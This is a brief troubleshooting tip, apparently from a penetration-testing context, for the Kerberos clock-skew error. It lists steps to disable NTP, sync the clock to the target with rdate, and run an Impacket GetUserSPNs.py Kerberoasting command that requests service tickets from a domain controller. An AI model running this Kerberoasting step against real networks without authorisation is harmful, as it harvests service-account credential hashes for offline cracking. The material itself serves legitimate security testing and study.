Thanks to @[danieldantebarnes](https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069) 1. If you are not currently running as the root user, switch to the root user by running the “**su**” command 2. Run “**timedatectl set-ntp off**” to disable the Network Time Protocol from auto-updating 3. Run “**rdate -n [IP of Target]**” to match your date and time with the date and time of the your target machine 4. Run your Kerberoast command (which should be **GetUserSPNs.py [Domain Name].local/[username]:[password] -dc-ip [Domain Controller IP] -request**)